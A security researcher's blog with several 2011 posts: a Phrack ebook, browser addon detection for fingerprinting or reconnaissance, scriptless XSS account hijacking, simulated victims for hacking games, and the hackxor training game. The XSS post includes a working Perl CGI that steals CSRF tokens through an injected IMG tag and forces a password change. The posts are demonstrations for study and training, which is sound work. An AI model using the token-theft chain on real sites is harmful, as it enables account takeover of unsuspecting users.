Tuesday, 20 December 2011

Phrack ebook

I've converted all 25 years of Phrack magazine into an ebook suitable for viewing on e-readers:

phrack.mobi (Kindles)

phrack.epub (Other e-readers)

The conversion wasn't perfect; text and code are fine but some of the ascii diagrams have been horribly mangled. I outright stripped base64-encoded tgz/png. This is a work in progess; I will update it whenever I feel like some heart-withering text-processing.

If you would like to roll your own version, download the epub generation code or the mobi version. They should run on all *nix distros with the requisite Perl modules. Both versions actually generate epubs, but the second can be easily converted into a .mobi using Kindlegen.

Redistributed with permission. Rights remain with Phrack.org


update #1: I have manually added issue 68 to the download. The generation code should work once Phrack updates p68.tar.gz

update #2: Fixed a zip layout mistake that broke compatibility with Stanza

update #3: eridius restructured the .epub so it should genuinely work in all e-readers now.

Friday, 1 July 2011

Sparse Bruteforce Addon Detection

This post demonstrates a technique for discovering which browser addons/extensions people who visit your website have installed. This could be used for fingerprinting, compatibility purposes or pre-exploit reconnaissance.

Chrome demo (Detects top 1000 extensions)
Backing script

Firefox demo(Detects ~10% of top 1000 addons)
Backing script

Both demos use the well known technique of:
<img/script src='chrome://[imageFromAddon]' onload='addonExists=true' onerror='addonExists=false'>


The Firefox demo was generated using a python script that inspects the chrome.manifest of each addon for 'contentaccessible=yes', then loads the addon's install.rdf and extracts the chrome:// URI of the addon's icon. The Chrome script is extremely simple; it merely detects the manifest.json that all Chrome extensions have. Both scripts can also be used to generate detection code for addons by search keyword.

Update: For a technical explanation & more elegant implementation see http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html

Update #2: Firefox addons can also be detected without javascript; see http://kuza55.blogspot.co.uk/2007/10/detecting-firefox-extension-without.html
The poc on that page longer works, here's one that does: http://albinowax.users.sourceforge.net/scriptlessAddonDetect.html

Saturday, 28 May 2011

JS-less XSS

Using HTML Injection to hijack accounts without JavaScript.
Sometimes using javascript isn't an option. Maybe the target website uses the new Content Security Policy (CSP) header to prevent script execution, or perhaps the target user has NoScript. At the moment CSP is extremely rare (only used by mobile Twitter and only supported by Firefox 4) but it may become widespread in the future. After all, with CSP "the bar for a successful attack is placed much, much higher" ;) The techniques here are not a CSP bypass, but a workaround.

Since I couldn't find an XSS in mobile twitter in 5 minutes, I've hashed together a couple of extremely simple demo pages that use CSP and are vulnerable to XSS. See if you can work out how to make a payload to hijack an account. If you aren't using FF4 just try to write a scriptless payload.

Example Site One------------------Exploit via IMG
This exploit is quite stealthy; unless you intercept your browser's requests, you might not realise the password has been changed. The injected unclosed IMG tag results in the victim's browser making a request like GET http://albinowax.users.sourceforge.net/cgi-bin/jslessxss.pl?s=[theEntirePageAfterTheInjectionPoint]
jslessxss.pl extracts the 'csrftoken' value from the GET request, and places it into a 302 Found response like:

302 Found
Location: http://albinowax.users.sourceforge.net/cgi-bin/one.pl?pass1=evilpassword&pass2=evilpassword&csrftoken=[token]

So your browser dutifully performs
GET http://albinowax.users.sourceforge.net/cgi-bin/one.pl?pass1=evilpassword&pass2=evilpassword&csrftoken=[token]
And that's it; the page will see the correct token and update the password.

The code behind jslessxss.pl is very simple:

#!/usr/bin/perl
use CGI ':standard';

my $tok = param('s');
if($tok =~ m/csrftoken.*value="([0-9]*)/) { $tok = $1; } #extract the token
my $ref = $ENV{HTTP_REFERER}; #get the referer
$ref =~ s/\?.*//g; #remove any arguments from the referer
print header(-Status=>'302 Found', -Location=>$ref.'?pass1=evilpassword&pass2=evilpassword&csrftoken='.$tok);

If the request you want to forge is POST only, try <iframe src='http://example.com?s= to grab the token instead, and put an autosubmitting form in the iframe'd page.
Example Site Two------------------Exploit via FORM/TEXTBOX
This exploit is a lot less subtle. It requires user interaction, and triggers NoScript's XSS filter. However, the <form> <textbox> approach is much more likely to capture the whole web page, and won't be upset by a single ' or ".

The demo doesn't show it, but a token harvested from one page can often be used for any form on the website, and re-used indefinitely. Thus, just like with normal XSS, the injection doesn't have to be on the page with the form you want to forge. Another interesting alternative to harvesting tokens is UI-redressing attacks like clickjacking, since many anti-framing techniques allow framing when the host domain matches the framed domain.

Finally, I'm sure there are plenty more entertaining and robust ways of hijacking accounts without javascript/flash/java. I'll try to keep this page updated with the latest.

See also:
Sniffing saved passwords (still works):
http://kuza55.blogspot.co.uk/2007/02/breaking-firefoxs-rcsr-fix.html

http://lcamtuf.coredump.cx/postxss/
http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
http://www.slideshare.net/x00mario/stealing-the-pie

Wednesday, 11 May 2011

Simulating targets for XSS/CSRF attacks in hacking games

Many web application hacking techniques require a victim as well as a vulnerable website. Such techniques include XSS, CSRF, XST, HTTP response splitting, session fixation, and various others. While it is possible to find these without a victim, to truly understand them it helps to exploit them. And you can't exploit them without a victim. This post explains how to simulate victims using HtmlUnit, the technique I used in the hacking game hackxor. HtmlUnit is "A java GUI-Less browser, which allows high-level manipulation of web pages, such as filling forms and clicking links". Here's a brief set of instructions:

Create accounts for your victim on all websites you want them to use. Ask questions like How strong is their password? Do they re-use it across multiple websites? Do they have the same username on each site? etc.

Create a database table that contains what your victim knows. This should at least contain website/username/password sets. This is necessary because it ensures that if the player/attacker changes the victim's password on a website, the victim cannot log in.

Write some code that uses the HtmlUnit library to log the victim into each website they have an account on with their username and password. Hackxor's code looks something like:

WebClient browser = new WebClient(BrowserVersion.FIREFOX_3_6);
for(each website the user has an account on){
final HtmlPage login = browser.getPage(website);
final HtmlForm form = login.getFormByName("login");
form.getInputByName("user").setValueAttribute(user);
form.getInputByName("pass").setValueAttribute(pass);
form.getInputByName("submit").click();
}

Finally, create a way for the player to contact the victim. Hackxor uses a fake webmail system that checks the 'to' address to see if it matches a victim's, then uses the above code to log the victim into all their accounts, then finally calls
browser.getPage("thepagewherethemessagebodyis");

That's it. Hopefully you can see the advantage of simulating victims, and that this is a robust and easily extendible way of doing it.

Update: See also https://blog.gregbrockman.com/2012/08/system-design-stripe-capture-the-flag/

Tuesday, 1 February 2011

Hackxor hacking game beta

EDIT: the final version of hackxor is out at http://hackxor.sourceforge.net


I've just released a public beta of hackxor at http://sourceforge.net/projects/hackxor

Hackxor is a webapp hacking game where players must locate and exploit vulnerabilities to progress through the story. Think WebGoat/DVWA but with a plot and a focus on realism&difficulty. Contains XSS, CSRF, SQLi, ReDoS, DOR, command injection, and many other vulnerabilities. Hackxor uses HTMLUnit to simulate victims loading emails you've sent them, so you need carefully crafted XSS payloads; not an alert('xss') in sight. The second half of the game is much much more difficult than webgoat/DVWA, and should even make the pros pause to think.

This is a beta. Unless you want to try it out and give some feedback, you might as well wait for the final release. It is complete in terms of the exploits and how they fit together, but the websites need polish. The final release will be in MayApril, and will have a few extra features such as a 'stealth' ranking based on how many triggers you set off, bruteforce prevention, and social engineering attacks on the player. Hopefully it will also be easier to install :)

Feedback feedback feedback
I'd like to know if you think any of the sites are too hard/easy, or illogical.
Please tell me if you find a way of gaining a shell on the server without using the final website (utrack). Any such vulnerability is intentional and needs to be fixed. People who report such vulnerabilities will appear in the credits (heh).


Installation
Download hackxor
Install VMWare player.
Open the image in hackxor using VMware player.
Work out what the IP of hackxor is (try logging in with username:root pass:hackxor1 and typing ifconfig)
Configure your hosts file (/etc/hosts on linux) to redirect the following domains to the IP of hackxor: wraithmail, wraithbox, cloaknet, GGHB, rentnet, utrack.
Browse to wraithmail:8080 and login with username:algo password:smurf

Game Rules
You are free to use any webapp hacking technique, except bruteforcing passwords. This is simply because I haven't written the anti-password guessing code yet. The final version will have no rules.

I'll post updates on twitter

Enjoy.